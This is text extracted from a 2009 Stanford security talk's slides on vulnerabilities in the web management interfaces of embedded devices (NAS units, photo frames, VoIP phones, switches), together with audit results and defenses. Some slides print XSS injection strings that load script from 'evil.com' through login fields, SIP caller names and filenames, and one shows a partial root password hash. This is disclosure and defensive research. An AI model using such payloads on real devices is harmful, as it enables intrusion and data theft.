Embedded Management Interfaces
Emerging Massive Insecurity

Hristo Bojinov  Elie Bursztein  Dan Boneh
Stanford Computer Security Lab
What this talk is about?
What this talk is about?

- Massively deployed devices
What this talk is about?

- Massively deployed devices
- Embedded web management interface
What this talk is about?

- Massively deployed devices
- Embedded web management interface
- How you can exploit these interfaces
What this talk is about?

- Massively deployed devices
- Embedded web management interface
- How you can exploit these interfaces
- What we can do about it
devices?
devices?
devices?
devices?
devices?
devices?
Embedded Management Interfaces Emerging Massive Insecurity

Hristo Bojinov  Elie Bursztein Dan Boneh

Thursday, July 30, 2009
devices?
Managing embedded devices via a web interface:

✓ *Easier for users*

✓ *Cheaper for vendors*
• **240M** registered domains
• **72M** active domains
Web security prominence

Today:

- **top** server-side issue
- **top** client-side issue

Source: Sans top 20

Source: MITRE CVE trends

Thursday, July 30, 2009
Web application spectrum

# users

Popular Internet web sites

Custom web applications

Security research

# of sites
Web application spectrum

# users

Popular Internet web sites

Custom web applications

devices?

Consumer electronics
Network infrastructure

Security research

# of sites

Thursday, July 30, 2009
• Embedded web applications are everywhere
• 100M+ WiFi access points
• also in millions of switches, printers, consumer electronics

Source: skyhookwireless
Embedded web servers will soon dominate

Growth

- Internet
- Embedded (NAS and photo frame only)

Data:
- Parks associates
- Netcraft

Thursday, July 30, 2009
Spectrum revisited

- Popular web applications
- Custom web applications

# users vs # of sites

Security research
Recipe for a disaster

Vendors build their own web applications

- Standard web server (sometimes)
- Custom web application stack
- Weak web security

New features/services added at a fast pace

- Vendors compete on number of services in product
- Interactions between services ➡ vulnerabilities
Some vendors got it right...

Kodak EasyShare digital frame » Settings » General Settings

**General Settings**

- **Language:** English
- **Frame Name:** seclab
- **Automatic resizing:** On
- **USB Connection Mode:** Connect to computer

**About**

- **Frame model number:** W820
- **Frame Serial number:** KCEJH833100832
- **Firmware version:** 2008.08.12
- **Touch panel version:** v4.3

Click "Save to frame" below when finished
You can set up your frame to view multimedia content feeds directly from the Web from sites such as those listed below. We've set up a few sample feeds to get you started. Click "Add..." to set up your own.

<table>
<thead>
<tr>
<th>Name of feed</th>
</tr>
</thead>
<tbody>
<tr>
<td>Interesting photos from Flickr</td>
</tr>
<tr>
<td>Flickr: Get More</td>
</tr>
<tr>
<td>My FrameChannel</td>
</tr>
<tr>
<td>FrameChannel: Weather</td>
</tr>
<tr>
<td>FrameChannel: Sports</td>
</tr>
<tr>
<td>FrameChannel: Finance</td>
</tr>
<tr>
<td>KODAK Gallery: Get More</td>
</tr>
<tr>
<td>Other: a&quot; asdf</td>
</tr>
<tr>
<td>Other: javascript:alert(&quot;Stanford Security Lab&quot;)</td>
</tr>
<tr>
<td>Other: <a href="http://www.asdf.com">www.asdf.com</a></td>
</tr>
</tbody>
</table>
... almost.
Vulnerabilities in every device we audited
Outline

• Audit methodology: auditing a zoo of devices
• Illustrative attacks
• Defenses and lessons learned
Methodology
Audit methodology

Brands

Device types

Thursday, July 30, 2009
Audit methodology

Vulnerability types

Brands

Device types
Overall audit results

- 8 categories of devices
Overall audit results

- 8 categories of devices
- 16 different brands
Overall audit results

- **8** categories of devices
- **16** different brands
- **23** devices
Overall audit results

- 8 categories of devices
- 16 different brands
- 23 devices
- 50+ vulnerabilities reported to CERT
Attack types

Popular ones:

- Cross Site Scripting (XSS)
- Cross Site Request Forgeries (CSRF)
- Cross-Channel Scripting (XCS) attacks

File security

User authentication
D-link DNS-323

- Allows to share files
- Configured via Web
嵌入式管理接口：新兴的巨量安全性

Hristo Bojinov  Elie Bursztein  Dan Boneh

存储型XSS示例

填充HTTP表单

<script>..</script>

攻击者
Stored XSS illustrated

Fill a http form

<script>..</script>

Attacker
Stored XSS illustrated

WEB FORM

Fill a http form
<script>..</script>

FILE SYSTEM

reflect into the page:
<script>..</script>

WEB APP

Attacker

NAS

Thursday, July 30, 2009
Stored XSS illustrated

Fill a http form
<script>..</script>

Attacker

reflect into the page:
<script>..</script>
Attack result
Netgear FS750T2

- Intelligent switch
- Configured via Web
CSRF illustrated
CSRF illustrated

I Administer the switch
CSRF illustrated

1. Administer the switch
2. Browse the web
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
4. Forward the bad post request
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
4. Forward the bad post request

Thursday, July 30, 2009
CSRF illustrated

1. Administer the switch
2. Browse the web
3. Trigger POST (e.g. via Ads)
4. Forward the bad post request
Cross Channel Scripting (XCS) illustrated

LaCie Ethernet disk mini

- Share access control
- Web interface
- Public FTP
XCS illustrated

FTP server

upload the file:
<script>..</script>.pdf

Attacker
XCS illustrated

upload the file: `<script>..</script>.pdf`

Attacker
XCS illustrated

FTP server → file system → Web App

upload the file: `<script>..</script>.pdf`

reflect the filename: `<script>..</script>.pdf`

Attacker

Admin Browser
XCS illustrated

FTP server

file system

Web App

upload the file: `<script>..</script>.pdf`

reflect the filename: `<script>..</script>.pdf`

Attacker
Attack result

Hello!

We now own your secret data. For example:

EDmine - secret/

[To Parent Directory]
01/09/2000 22:50:05 7.7k secret_code.exe
XCS: cross-channel scripting

attacker

Alternate Channels

Device

Web

User

Injection

Storage

Reflection
Devices as stepping stones

Hristo Bojinov  Elie Bursztein Dan Boneh

Thursday, July 30, 2009
Devices as stepping stones

I Administer the device
Devices as stepping stones

1. Administer the device
2. Browse the internet
Devices as stepping stones

1 Administer the device

2 Browse internet

3 Trigger POST (e.g. via Ads)
Devices as stepping stones

2 Browse internet

3 Trigger POST (e.g. via Ads)

4 Infect the device
Devices as stepping stones

5 access files
Devices as stepping stones

6 Send malicious payload

5 access files
Devices as stepping stones

6 Send malicious payload

5 access files

7 Attack local network

Embedded Management Interfaces Emerging Massive Insecurity

Thursday, July 30, 2009
Devices as stepping stones

1. 6 Send malicious payload
2. 5 access files
3. 7 Attack local network

Hristo Bojinov  Elie Bursztein Dan Boneh

Embedded Management Interfaces Emerging Massive Insecurity

Thursday, July 30, 2009
## Vulnerabilities by category

<table>
<thead>
<tr>
<th>Type</th>
<th>Num</th>
<th>XSS</th>
<th>CSRF</th>
<th>XCS</th>
<th>RXCS</th>
<th>File</th>
<th>Auth</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOM</td>
<td>3</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>Photo</td>
<td>3</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>NAS</td>
<td>5</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>Router</td>
<td>1</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>IP camera</td>
<td>3</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>IP phone</td>
<td>1</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>Switch</td>
<td>4</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
<tr>
<td>Printer</td>
<td>3</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
<td>😞</td>
</tr>
</tbody>
</table>

- 😞: many vulnerabilities
- 😞: one vulnerability
## Vulnerabilities by category

<table>
<thead>
<tr>
<th>Type</th>
<th>Num</th>
<th>XSS</th>
<th>CSRF</th>
<th>XCS</th>
<th>RXCS</th>
<th>File</th>
<th>Auth</th>
</tr>
</thead>
<tbody>
<tr>
<td>LOM</td>
<td>3</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>Photo</td>
<td>3</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>NAS</td>
<td>5</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>Router</td>
<td>1</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>IP camera</td>
<td>3</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>IP phone</td>
<td>1</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>Switch</td>
<td>4</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
<tr>
<td>Printer</td>
<td>3</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
<td>🙁</td>
</tr>
</tbody>
</table>

- 🙁: one vulnerability
- 🙁: many vulnerability

Thursday, July 30, 2009
## Devices by Brand

<table>
<thead>
<tr>
<th>Brand</th>
<th>Camera</th>
<th>LOM</th>
<th>NAS</th>
<th>Phone</th>
<th>Photo Frame</th>
<th>Printer</th>
<th>Router</th>
<th>Switch</th>
</tr>
</thead>
<tbody>
<tr>
<td>Allied</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Buffalo</td>
<td></td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>D-Link</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Dell</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>eStarling</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>HP</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>IBM</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Intel</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Kodak</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>LaCie</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Linksys</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Netgear</td>
<td>✓</td>
<td>✓</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Panasonic</td>
<td>✓</td>
<td></td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>QNAP</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>Samsung</td>
<td>✓</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>SMC</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
<tr>
<td>TrendNet</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>✓</td>
</tr>
</tbody>
</table>
Attack surface

- Confidentiality
- Integrity
- Availability
- Access control
- Attribution
<table>
<thead>
<tr>
<th>Confidentiality</th>
<th>5</th>
<th>Steal private data</th>
</tr>
</thead>
</table>

Thursday, July 30, 2009
## Attack surface result

<table>
<thead>
<tr>
<th>Confidentiality</th>
<th>5</th>
<th>Steal private data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Integrity</td>
<td>22</td>
<td>Reconfigure device</td>
</tr>
</tbody>
</table>

Thursday, July 30, 2009
### Attack surface result

<table>
<thead>
<tr>
<th></th>
<th></th>
<th>Steal private data</th>
</tr>
</thead>
<tbody>
<tr>
<td>Confidentiality</td>
<td>5</td>
<td>Steal private data</td>
</tr>
<tr>
<td>Integrity</td>
<td>22</td>
<td>Reconfigure device</td>
</tr>
<tr>
<td>Availability</td>
<td>18</td>
<td>Reboot device</td>
</tr>
</tbody>
</table>

| Access control              | 23| Don’t log access                                        |
| Attribution                 | 22| Don’t log access                                        |

| Thursday, July 30, 2009     |   |                                                        |
## Attack surface result

<table>
<thead>
<tr>
<th>Security Attribute</th>
<th>Score</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Confidentiality</td>
<td>5</td>
<td>Steal private data</td>
</tr>
<tr>
<td>Integrity</td>
<td>22</td>
<td>Reconfigure device</td>
</tr>
<tr>
<td>Availability</td>
<td>18</td>
<td>Reboot device</td>
</tr>
<tr>
<td>Access control</td>
<td>23</td>
<td>Access files without password</td>
</tr>
<tr>
<td></td>
<td>Score</td>
<td>Description</td>
</tr>
<tr>
<td>---------------------------</td>
<td>-------</td>
<td>----------------------------------------------</td>
</tr>
<tr>
<td>Confidentiality</td>
<td>5</td>
<td>Steal private data</td>
</tr>
<tr>
<td>Integrity</td>
<td>22</td>
<td>Reconfigure device</td>
</tr>
<tr>
<td>Availability</td>
<td>18</td>
<td>Reboot device</td>
</tr>
<tr>
<td>Access control</td>
<td>23</td>
<td>Access files without password</td>
</tr>
<tr>
<td>Attribution</td>
<td>22</td>
<td>Don’t log access</td>
</tr>
</tbody>
</table>
Illustrative Attacks
Quick warm-up: LOM

LOM basics

Log XSS
LOM basics

- Lights-out recovery, maintenance, inventory tracking
- PCI card and chipset varieties available
- Separate NIC and admin login*
- Low-security default settings
- Motherboard connection
- Usually invisible to OS
Log XSS

- Known for a decade
- Traditionally injected via DNS
- Also see recent IBM BladeCenter advisory

Persistant Log-based XSS
Persistant Log-based XSS

1. Attacker attempts to login as user

");</script><script src="/evil.com/"></script><script>
Persistant Log-based XSS

1. Attacker attempts to login as user

2. Admin views syslog

Attacker attempts to login as user

");</script><script src="//evil.com/"></script><script>
Persistant Log-based XSS

1. Attacker attempts to login as user

2. Admin views syslog

3. Payload executes
Cross Channel Scripting (XCS)

Moving on to real XCS

VoIP phone
Photo frame
VoIP phone

- Linksys SPA942
- Web interface
- SIP support
- Call logs
I SIP: xyz@mydomain calls abc@thatdomain
1. SIP: \texttt{xyz@mydomain} calls \texttt{abc@thatdomain}

2. RTP: carries actual binary data
I Attacker makes a call as
"<script src="//evil.com/"></script>"
1 Attacker makes a call as "<script src="//evil.com/"></script>"

2 Administrator accesses web interface
1 Attacker makes a call as "<script src="//evil.com/"></script>"

2 Administrator accesses web interface

3 Payload executes
SIP XCS attack result

<table>
<thead>
<tr>
<th>Redial List</th>
<th>Answered Calls</th>
<th>Missed Calls</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>3.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>5.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>7.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>53.</td>
<td><strong>Part of the page removed to conserve space.</strong></td>
<td>54.</td>
</tr>
<tr>
<td>55.</td>
<td></td>
<td>56.</td>
</tr>
<tr>
<td>57.</td>
<td></td>
<td>58.</td>
</tr>
<tr>
<td>59.</td>
<td></td>
<td>60.</td>
</tr>
</tbody>
</table>

Thursday, July 30, 2009
Photo frame sales

The Global Digital Photo Frame Market
Quarterly Unit Sales (1Q07-4Q08)

Source: Digital Photo Frame Market: Global 2H08 Update
© 2009 Parks Associates
WiFi photo frame

- Samsung SPF85V
- RSS / URL feed
- Windows Live
- WMV / AVI
Fetch photos from the Internet. Watch movies too.
Fetch photos from the Internet. Watch movies too.

Operation

- Use browser interface to set up
- You can also see the current photo!
- Many configuration fields: RSS, URLs, etc...
Attacker infects via CSRF
1 Attacker infects via CSRF

2 User connects to manage
1. Attacker infects via CSRF
2. User connects to manage
3. Payload executes
There is a ghost in here
Now Playing: bouh.jpg

Frame Serial Number:
Ghost activity report
injecting payload
Stealing the file/image
File loaded, decoding it
decode complete, re-encoding
leaking file
Ghosting completed, file out!
Firmware Version: M-CB08S6US-1001.1
Photo frames as stepping stones

1. Frame gets infected
Photo frames as stepping stones

Frame gets infected via grandma’s browser
1. Frame gets infected via grandma's browser

2. Son connects to upload photos
Photo frames as stepping stones

1. Frame gets infected via grandma’s browser

2. Son connects to upload photos

3. Intranet infected
Bonus “feature”:

- Current photo visible without login
A vehicle for scams?

eStarling photo frame

- receive photos via email
- predictable address
Big Picture
Embedded web servers are everywhere

- In homes, offices
- Various types and functions
- Massive attack surface (in aggregate)

- Can be use as stepping stones into LAN
Security: not a priority so far

- Single exploits: well known
- However, the trend is a concern
Security: not a priority so far

- Single exploits: well known
- However, the trend is a concern
- Rise of multi-protocol devices: XCS
- Rise of browser-OS: 24x7 exploitability
Defenses
Today

‣ Internal audits by IT staff and end-users
Defense approaches

Today

‣ Internal audits by IT staff and end-users

Near-term

‣ SiteFirewall: IT, browser vendors
Defense approaches

Today

‣ Internal audits by IT staff and end-users

Near-term

‣ SiteFirewall: IT, browser vendors

Long-term

‣ Server-side security gains
Injected script can issue requests at will:

```html
<script src="http://evil.com">
```

Before

We now own your secret data. For example:

```
EDmini - secret/
```

SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.
SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.
Page interactions with the Internet blocked.

After

Log Off

Date: 02/20/2002, Program: httpd(pam_unix)[17848], Message: session opened for user admin by (uid=0).
Difficulties

- No standard platform to build for
- Adding insecure features: unavoidable
Server-side defenses

**Difficulties**

- No standard platform to build for
- Adding insecure features: unavoidable
Server-side defenses

Difficulties

- No standard platform to build for
- Adding insecure features: unavoidable

Requirements

- Security is a top priority
- Performance trade-offs possible
- Architectural trade-offs: kernel vs. web server
Server-side defenses

Opportunities

- Use captchas
- Process sandboxing
- Data storage and access model
Server-side defenses

Opportunities

- Use captchas
- Process sandboxing
- Data storage and access model

Future work: development framework

- Secure embedded web applications
- RoR too heavyweight in this context
One more thing
Another boring NAS device?

- SOHO NAS
  - Buffalo LS-CHL
  - BitTorrent support!
Massive exploitation
Massive exploitation

Create a bad torrent

Famous_movie.torrent

Internet
Massive exploitation
Massive exploitation

Internet
Massive exploitation

takeover

Internet
Massive exploitation

Internet

takeover

takeover

Thursday, July 30, 2009
Peer-to-peer XCS attack result

![BitTorrent download manager interface with XCS attack highlighted and a file named '2.pdf' selected for download.](image-url)
Conclusion

- Sticky technology
- Standardize...
  - remote access
  - firmware upgrade
  - rendering to HTML
  - configuration backup

*Thanks to Eric Lovett and Parks Associates!*
Questions?

http://seclab.stanford.edu
Mature technology...
Configuration file XCS

Save file

Configuration file
Configuration file XCS

Save file

Configuration file

Tampering with the file
Configuration file XCS

Configuration file

Save file

Tampering with the file

Thursday, July 30, 2009
Configuration file XCS

Save file

Restore file

Configuration file

Tampering with the file
Configuration file XCS attack result
An easy fix
An easy fix

Sign with a device private key!
An easy fix

Sign with a device private key!
What about arbitrary file inclusion?
What about arbitrary file inclusion?

root:13VjqxNiBSgW0TOYeQ9cNPI8/aAK2wP

Embedded Management Interfaces Emerging Massive Insecurity
What about arbitrary file inclusion?

```
root:S1SVjqxNiBT5gW0TOYeQ9cNPI8/aAK2wP:......
```
More attacks: Switches

Netgear switch

Trendnet switch
More attacks: LOM

IBM RSA II

Intel vPro/AMT